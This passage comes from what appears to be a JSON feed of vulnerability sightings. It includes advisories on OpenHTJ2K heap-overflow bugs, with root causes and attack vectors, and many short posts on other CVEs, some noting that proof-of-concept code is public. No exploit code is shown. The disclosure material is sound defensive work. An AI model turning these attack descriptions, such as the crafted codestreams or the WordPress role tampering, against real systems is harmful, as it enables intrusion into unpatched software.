providing:\n\n1. A crafted J2K/JP2 codestream processed by the decoder or JPIP server.\n2. A malicious JPIP/JPP server response consumed by an OpenHTJ2K client.\n\nThe client-response path was reproduced by feeding malicious\nJPP response bytes through JPIP stream parsing, databin\nreassembly, and the OpenHTJ2K decoder path until\nj2k_precinct_subband::parse_packet_header() performed the\nout-of-bounds heap write.\n\n------------------------------------------\n\n[Impact]\nHeap memory corruption\n\nConfirmed impact:\n- Heap out-of-bounds write\n- Crash / denial of service\n- Neighboring j2k_codeblock object state corruption in crafted layouts\n- Later dereference of corrupted decoder state\n\nPotential impact:\n- Further exploitation may be possible depending on heap layout,\n  allocator behavior, ASLR, and availability of a stronger write\n  primitive.\n\nStable arbitrary write or RCE was investigated but not confirmed\nby the reporters.\n\n------------------------------------------\n\n[Fix]\nOpenHTJ2K v0.18.4 added kMaxCodingPasses = 128 and introduced\nbounds checks before updating num_passes in the vulnerable packet\nheader parsing paths.\n\nThe fix rejects malformed inputs before pass_length[128] can be\nwritten out of bounds.\n\n------------------------------------------\n\n[Reference]\nhttps://github.com/osamu620/OpenHTJ2K/releases/tag/v0.18.4\nhttps://github.com/osamu620/OpenHTJ2K/releases\n\n------------------------------------------\n\n[Discoverer]\nKANG DAEUN (SANGMYUNG UNIVERSITY, https://github.com/Daeun2046)\nOH HAN GUEL (SANGMYUNG UNIVERSITY, https://github.com/5asever40-a11y)\n", "creation_timestamp": "2026-07-10T12:26:14.303646Z"}, {"uuid": "969b6fc4-e6f4-4834-9209-ac54fa68a7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51808", "type": "seen", "source": "https://gist.github.com/5asever40-a11y/037cd04eda92cc2cebf84ab8d375b878", "content": "# CVE-2026-51808\n\nSOT out-of-bounds tile index handling in OpenHTJ2K allows\nheap out-of-bounds access and confirmed JPIP server-side\nheap information disclosure via a crafted J2K/JP2 codestream.\n\n------------------------------------------\n\n[Vulnerability Type]\nOut-of-Bounds Access\nOut-of-Bounds Read/Write\nInformation Disclosure\n\n------------------------------------------\n\n[Vendor of Product]\nOpenHTJ2K\n\n------------------------------------------\n\n[Affected Product Code Base]\nOpenHTJ2K versions before v0.18.5\n\nFixed version: v0.18.5\nFix commit/tag: a874649 / v0.18.5\n\n------------------------------------------\n\n[Affected Component]\nsource/core/interface/decoder.cpp\n\nSOT tile-part dispatch\nUnchecked Isot field from the SOT marker\nj2k_tile::add_tile_part()\n\n------------------------------------------\n\n[Root Cause]\nThe decoder used the Isot tile index from the SOT marker to\ndispatch tile parts through tileSet without first validating that\nthe index was smaller than tileSet.size().\n\nIn vulnerable versions, a crafted codestream could specify an\nout-of-range SOT tile index. This caused tileSet[tile_index] to\naccess memory outside the valid tileSet allocation and reach\nj2k_tile::add_tile_part() through an invalid tile object.\n\n------------------------------------------\n\n[Attack Vectors]\nAn attacker can trigger the vulnerability with a crafted J2K/JP2\ncodestream containing an out-of-range SOT Isot tile index.\n\nThe issue is reachable during JPIP server startup codestream\nloading through PacketLocator::build(), and also through public\ndecoder entry points such as invoke(), invoke_line_based(),\ninvoke_line_based_stream(), and invoke_line_based_predecoded().\n\n------------------------------------------\n\n[Impact]\nHeap out-of-bounds access and information disclosure\n\nConfirmed impact:\n- Heap out-of-bounds access in tile-part dispatch\n- Heap OOB read/write behavior\n- Server-surviving JPIP heap information leak\n- Heap pointer-like values reflected in JPIP tile-header data-bin responses\n\nIn reporter testing, a crafted codestream caused heap pointer\nvalues written by j2k_tile::add_tile_part() into memory adjacent\nto the tileSet allocation to be reflected back to the client via\nsubsequent JPIP tile-header data-bin responses.\n\n------------------------------------------\n\n[Fix]\nOpenHTJ2K v0.18.5 added validation to reject out-of-range SOT\ntile indices before dispatching tile parts.\n\nThe fix checks tile_index >= tileSet.size() at all four SOT\ndispatch sites in source/core/interface/decoder.cpp. Malformed\ninputs with Isot >= numTiles are now rejected at parse time\ninstead of silently corrupting heap memory.\n\n------------------------------------------\n\n[Reference]\nhttps://github.com/osamu620/OpenHTJ2K/releases/tag/v0.18.5\nhttps://github.com/osamu620/OpenHTJ2K/releases\n\n------------------------------------------\n\n[Discoverer]\nKANG DAEUN (SANGMYUNG UNIVERSITY, https://github.com/Daeun2046)\nOH HAN GUEL (SANGMYUNG UNIVERSITY, https://github.com/5asever40-a11y)\n", "creation_timestamp": "2026-07-10T14:09:21.869430Z"}, {"uuid": "f794fd41-5dde-43a8-b12d-77b649c6857e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51597", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcsjz26m72r", "content": "CVE-2026-51597\nAn attacker on the same network can capture and replay login information to access the live video feed without knowing the password. This can happen if the camera is not properly secured or if an attacker has\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-10T18:44:04.672245Z"}, {"uuid": "cac8c210-12df-4afb-8dd9-23cf8e46c1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51599", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcsk2unmk2h", "content": "CVE-2026-51599\nAn attacker can send a malicious request to the MERCURY MIPC252W's RTSP service, causing it to temporarily stop working for other users. This can happen without the attacker needing a password. To protect your\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-10T18:44:06.473265Z"}, {"uuid": "540f1102-acc3-4fcd-a0cd-4f52c89a86dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51119", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqcsnl6hmo2b", "content": "CVE-2026-51119\nAn attacker can use the Invixium IXM WEB system to gain elevated access to the system. This could allow them to make changes or access sensitive data they shouldn't be able to. Users should update to the latest\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-10T18:46:04.338405Z"}, {"uuid": "06467abc-05fb-4d54-afa1-a1ccf4c45414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51119", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqd7wcheku2c", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51119 \u0432 Invixium IXM WEB: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/2BB85731-3BD5-4C87-838D-D344702E3BF7", "creation_timestamp": "2026-07-10T22:43:35.750921Z"}, {"uuid": "a891ce12-cedf-45b3-a7c5-3e5fff5b9dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51924", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdfunrwsr2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51924 \u0432 docuForm GmbH Client: \u0443\u0433\u0440\u043e\u0437\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430\n\n\n\nhttps://kripta.biz/posts/A3F603D3-7D09-4C13-8C2F-ACF5D7A9B70A", "creation_timestamp": "2026-07-11T00:30:03.238013Z"}, {"uuid": "ad1a8156-bc49-47c8-a052-48cba3a6d509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51598", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdfwasr4g22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51598 \u0432 IP-\u043a\u0430\u043c\u0435\u0440\u0435 MERCURY MIPC252W: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/AD3777B5-3837-48BC-993A-BF90FEBD8E5D", "creation_timestamp": "2026-07-11T00:30:56.899141Z"}, {"uuid": "3438e5ad-12e3-4f59-8def-db20fb6ffc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51597", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdg3vxy2e27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51597 \u0432 \u043a\u0430\u043c\u0435\u0440\u0435 Mercury MIPC252W: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/97982CF0-58A5-47AF-9F1D-5F2681D7EF0B", "creation_timestamp": "2026-07-11T00:34:06.267321Z"}, {"uuid": "b274729e-fa1e-452e-86b6-6b78888b4f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51925", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdga5hxss22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51925 \u0432 docuForm GmbH Client: \u0443\u0433\u0440\u043e\u0437\u0430 Local File Inclusion \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/7C9C0902-8E9C-410B-8933-42292D713C02", "creation_timestamp": "2026-07-11T00:36:28.270017Z"}, {"uuid": "e752b16c-3279-4d7b-b574-e76d40254c43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51119", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdh3grr552y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51119 \u0432 Invixium IXM WEB: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/27451978-E024-4872-97F9-0D235D27456C", "creation_timestamp": "2026-07-11T00:51:44.047028Z"}, {"uuid": "6c4bd08a-6f04-4c7f-ae2f-b04e36fd0e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5158", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mshsfbxb772r", "content": "CVE-2026-5158 ultimate-post (CVSS Score 6.4) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-07T05:15:08.639266Z"}, {"uuid": "3fecb63c-84c7-46cc-9107-dcc8a15684d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51119", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqfkmmdd2j25", "content": "\ud83d\udd34 CVE-2026-51119 - Critical (9.1)\n\nAn issue in Invixium IXM WEB v.2.3.85.25 allows an attacker to escalate privileges via the /Syste...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-51119/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-11T21:00:21.736716Z"}, {"uuid": "5298b173-375f-4993-9982-afa7e2642726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51536", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmh44rhv52r", "content": "CVE-2026-51536\nA programming error in OpENer's CIP parsing code can allow a malicious packet to cause the system to crash. This is a serious issue because it can lead to data loss and system downtime. To protect your system,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T14:46:05.106875Z"}, {"uuid": "f514785a-d1ab-4839-8c1b-f28f668fb989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51537", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmh467mk22t", "content": "CVE-2026-51537\nThe EIPStackGroup OpENer software has a security issue that can be exploited by an attacker sending specially crafted network packets. This could potentially cause the server to crash or behave unexpectedly. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T14:46:06.413421Z"}, {"uuid": "b737aad6-5840-4d84-bd62-2837fb815fe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51538", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmh7ocfu62v", "content": "CVE-2026-51538\nAn attacker on the network can use a valid session handle from another client to bypass access controls in EIPStackGroup OpENer 2.3.0. This could allow an unauthorized user to access sensitive information or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T14:48:04.042122Z"}, {"uuid": "68a7db92-9d34-4663-a6ae-3b5bdd9b3a2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51541", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmh7pt3tu2q", "content": "CVE-2026-51541\nOpENer, a software used for industrial automation, is at risk of data loss when receiving a specially crafted message from an attacker. This could disrupt communication between devices and impact business\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T14:48:05.438132Z"}, {"uuid": "e2ea7952-01e6-43bf-b13d-eb842ee4c67e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51105", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqmkcoi4r42e", "content": "CVE-2026-51105 - aMule Server Message Handler Buffer Overflow\nCVE ID : CVE-2026-51105\n \n Published : July 14, 2026, 3:17 p.m. | 13\u00a0minutes ago\n \n Description : Buffer Overflow vulnerability in aMULE-Project aMule v.2.3.3 allows a remote attacker to cause a denial of service vi...", "creation_timestamp": "2026-07-14T15:43:26.054025Z"}, {"uuid": "49809b70-d89a-4bf9-bbca-8fd0603b8f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51821", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmqbeydro2w", "content": "CVE-2026-51821\nA security flaw in the Shenzhou Shihan Video Conference System v.1.0 allows a malicious user to potentially take control of the system by sending specially crafted data to the /user/getUserLogin endpoint. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T17:30:04.907782Z"}, {"uuid": "1aaedd94-f3e1-4013-979f-eb375fb059ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51540", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmqbggzbk24", "content": "CVE-2026-51540\nThe OpENer messaging software is at risk of a critical memory corruption issue when handling certain types of messages. This could lead to unexpected crashes or data loss. Update to the latest version to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-14T17:30:06.419030Z"}, {"uuid": "99954543-ef08-4519-b6ba-d24afd0d73d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51807", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnfu3brq72t", "content": "CVE-2026-51807 - OpenHTJ2K Buffer Overflow Vulnerability\nCVE ID : CVE-2026-51807\n \n Published : July 14, 2026, 11:17 p.m. | 14\u00a0minutes ago\n \n Description : Buffer Overflow vulnerability in OpenHTJ2K v.0.18.4 and before allows an attacker to execute arbitrary code via the j2k_p...", "creation_timestamp": "2026-07-14T23:56:20.893591Z"}, {"uuid": "7a97adbd-d75f-4e33-b4ff-f916201e7122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51808", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqng6v6lcp2w", "content": "CVE-2026-51808 - OpenHTJ2K Buffer Overflow Vulnerability\nCVE ID : CVE-2026-51808\n \n Published : July 14, 2026, 11:17 p.m. | 14\u00a0minutes ago\n \n Description : Buffer Overflow vulnerability in OpenHTJ2K v.0.18.4 and before allows an attacker to execute arbitrary code via the openh...", "creation_timestamp": "2026-07-15T00:02:23.558621Z"}, {"uuid": "f4cd7ba5-a1e8-4f12-a70a-21425d91865d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51808", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqox4px6yq2j", "content": "CVE-2026-51808\nA vulnerability in OpenHTJ2K versions 0.18.4 and earlier allows attackers to run unauthorized code on a system. This could lead to data theft or system compromise. Update to the latest version of OpenHTJ2K to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-15T14:38:04.254582Z"}, {"uuid": "ba0bca7e-699c-42df-b4c4-209a7782ad57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51807", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqp2sskhc32c", "content": "CVE-2026-51807\nOpenHTJ2K, a Java library for handling JPEG 2000 files, has a security issue that could allow an attacker to run unauthorized code on a system by sending it a specially crafted file. This is a serious issue\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-15T15:44:06.440319Z"}, {"uuid": "db1f3ba7-9e9b-4fa0-b4ae-42cc286652bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51380", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116930618228870140", "content": "It is possible to see elevated activities targeting Tenda AC10 (CVE-2026-51380) https://vuldb.com/vuln/379412/cti", "creation_timestamp": "2026-07-16T16:34:02.847218Z"}, {"uuid": "a7f65524-78cf-480c-85ba-eae320bb22aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51380", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqroftqfcv2u", "content": "CVE-2026-51380\nA security issue in the Tenda AC10 v3 router's firmware (version V03.03.16.09) could allow hackers to shut down the router or take control of it. This affects anyone using this router, and it's essential to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-16T16:40:28.231719Z"}, {"uuid": "8c2472e2-cfb2-4faf-80d0-b7d572a4e88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "Telegram/ZNGVAW0zhrADVMYcivddvXHsbsrHu8mw5aVpNdLKw8FVQFo", "content": "", "creation_timestamp": "2026-07-16T19:00:10.209537Z"}, {"uuid": "ff7d4498-e796-4c27-b68a-967aae53abd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51788", "type": "seen", "source": "Telegram/8xuhxObjAFcuRvwDX0OGu_8n65FVPMNoWE2rdDkez26ISk4", "content": "", "creation_timestamp": "2026-07-16T19:00:16.620465Z"}, {"uuid": "680e7543-8fc3-4e4e-a91e-e382d5e8ff1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51947", "type": "seen", "source": "Telegram/6BANG7CuLCbr1ZeKg58CV0nBjAaStiqrtXZ9gbxLf9DgXYA", "content": "", "creation_timestamp": "2026-07-16T19:00:25.505866Z"}, {"uuid": "1e078926-f885-4aa5-adf1-88663d63d1bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "Telegram/ZNGVAW0zhrADVMYcivddvXHsbsrHu8mw5aVpNdLKw8FVQFo", "content": "", "creation_timestamp": "2026-07-17T00:00:07.814667Z"}, {"uuid": "0b29181b-af22-4638-b36e-c47644124dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51031", "type": "seen", "source": "https://t.me/GithubRedTeam/98255", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a flar3ad\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a daemoncibsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 00:33:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC of CVE-2026-51031 for arbitrary local file read\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:08.177621Z"}, {"uuid": "3e8d8129-de49-487b-9254-89d7207d70bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51080", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mquav44jac2z", "content": "CVE-2026-51080\nThe Libpve Storage Perl library, used by Proxmox servers, contains a vulnerability that allows attackers to inject malicious code. This could lead to unauthorized access or data theft. Users should update to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-17T17:16:05.353237Z"}, {"uuid": "36c2b440-428c-4c73-8251-95692b95cb84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51080", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquclsxilq2x", "content": "CVE-2026-51080 - libpve-storage-perl XML External Entity Vulnerability\nCVE ID : CVE-2026-51080\n \n Published : July 17, 2026, 2:17 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : libpvestorage-perl v9.1.1 and libpve-storage-perl v8.3.7 were discovered to contain an XML External ...", "creation_timestamp": "2026-07-17T17:46:40.749096Z"}, {"uuid": "eaced06e-cb2f-49ee-89d1-3e885e3da57c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51081", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqudskgx3r24", "content": "CVE-2026-51081 - Proxmox Virtual Environment Cross-Site Scripting Vulnerability\nCVE ID : CVE-2026-51081\n \n Published : July 17, 2026, 3:16 p.m. | 21\u00a0minutes ago\n \n Description : A cross-site scripting (XSS) vulnerability in Proxmox Virtual Environment (PVE) 9.x 5.1.8 and Proxm...", "creation_timestamp": "2026-07-17T18:08:20.496807Z"}, {"uuid": "c54e6755-b5d5-4a1c-b5d9-fa988a469e7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51083", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mque7ahppv2e", "content": "CVE-2026-51083 - Proxmox Virtual Environment qemu-server Incorrect Access Control Vulnerability\nCVE ID : CVE-2026-51083\n \n Published : July 17, 2026, 3:16 p.m. | 21\u00a0minutes ago\n \n Description : Incorrect access control in Proxmox Virtual Environment (PVE) 9.x qemu-server befor...", "creation_timestamp": "2026-07-17T18:15:26.100789Z"}, {"uuid": "9bef08e3-8d9b-4f0f-94af-9a4acf7f0a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51082", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquegvziv52i", "content": "CVE-2026-51082 - Proxmox Virtual Environment VNC Session Hijacking Race Condition\nCVE ID : CVE-2026-51082\n \n Published : July 17, 2026, 3:16 p.m. | 21\u00a0minutes ago\n \n Description : A race condition between the vncproxy and vncwebsocket API calls in Proxmox Virtual Environment (...", "creation_timestamp": "2026-07-17T18:19:43.577946Z"}, {"uuid": "d9856f37-b0a9-407b-b295-56c7fec57d5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51947", "type": "published-proof-of-concept", "source": "Telegram/6BANG7CuLCbr1ZeKg58CV0nBjAaStiqrtXZ9gbxLf9DgXYA", "content": "", "creation_timestamp": "2026-07-18T00:00:09.898879Z"}, {"uuid": "b9f2ac44-3b1e-4724-bd44-b2595fadfd02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51788", "type": "published-proof-of-concept", "source": "Telegram/8xuhxObjAFcuRvwDX0OGu_8n65FVPMNoWE2rdDkez26ISk4", "content": "", "creation_timestamp": "2026-07-18T00:00:33.936942Z"}, {"uuid": "f7d800f4-d8cb-4fac-8a1d-48ff716aea26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/418", "content": "CVE-2026-5118\n\nThe Divi Form Builder plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.2. This is due to the plugin accepting a user-controlled 'role' parameter from POST data during user registration without validating it against the form's configured defaultuserrole setting. This makes it possible for unauthenticated attackers to create administrator accounts by tampering with the role parameter during registration.", "creation_timestamp": "2026-08-28T00:00:33.152007Z"}, {"uuid": "389ceb52-dee5-488e-be50-3d6b444fff5e", "vulnerability_lookup_origin": 